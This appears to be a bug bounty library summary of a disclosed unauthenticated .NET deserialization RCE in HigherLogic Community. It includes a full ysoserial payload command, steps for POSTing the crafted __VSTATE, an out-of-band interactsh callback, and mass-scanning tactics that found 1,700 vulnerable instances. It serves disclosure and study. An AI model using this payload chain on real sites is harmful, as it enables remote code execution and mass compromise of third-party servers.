# HigherLogic Community RCE Vulnerability

HigherLogic Community's legacy compressed __VSTATE ViewState parameter is deserialized without encryption, allowing unauthenticated .NET deserialization RCE via ysoserial payloads.

- Payout: $1,250
- Severity: critical
- Program: 8x8, IBM
- Credited: 0daystolive
- Disclosed: 2022-02-03
- Write-up quality: 7/10
- Original: https://blog.sorcery.ie/posts/higherlogic_rce/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-sorcery-ie-posts-higherlogic-rce
- Tags: domain:web impact:rce kind:bounty platform:blog sev:critical tech:dotnet technique:recon technique:source-review vuln:deserialization vuln:rce

**Target:** .NET web application __VSTATE ViewState parameter
**Root cause:** Legacy __VSTATE compression hack stores serialized .NET ViewState in a compressed but unencrypted/unsigned form, so the server deserializes attacker-controlled LosFormatter data.
**Steps:**
1. Recon: search publicwww.com for `__VSTATE` to find HigherLogic Community instances.
2. Generate payload: `ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping <interactsh>" -o raw | base64 -d | gzip - | base64 -w0`.
3. GET `/home` and extract the `__HL-RequestVerificationToken` hidden input value.
4. POST `/home` with form body replacing `__VSTATE` with the payload (url-encoded) and including the valid `__HL-RequestVerificationToken`.
5. Observe DNS interaction on interactsh confirming deserialization/command execution.
**How found:** Read graanl's article and The Record's APT report on ViewState exploitation, then hypothesized that the legacy compressed __VSTATE variant never received encryption/signing updates; searched publicwww.com for `__VSTATE` and found many HigherLogic Community sites.
**Exploitation:** Unauthenticated attacker submits a crafted __VSTATE containing a ysoserial TypeConfuseDelegate LosFormatter gadget; server deserializes it and executes the embedded command (e.g. ping), yielding RCE. Requires a valid __HL-RequestVerificationToken scraped from the page.
**Escalation:** Scaled via a nuclei template using interactsh OAST to mass-scan; found 1,700 still-vulnerable managed instances.
**Insight:** Legacy ViewState compression hacks (__VSTATE) predate the encryption/signing fixes applied to __VIEWSTATE, so grep publicwww/Shodan for non-standard ViewState parameter names to find deserialization sinks that were never hardened.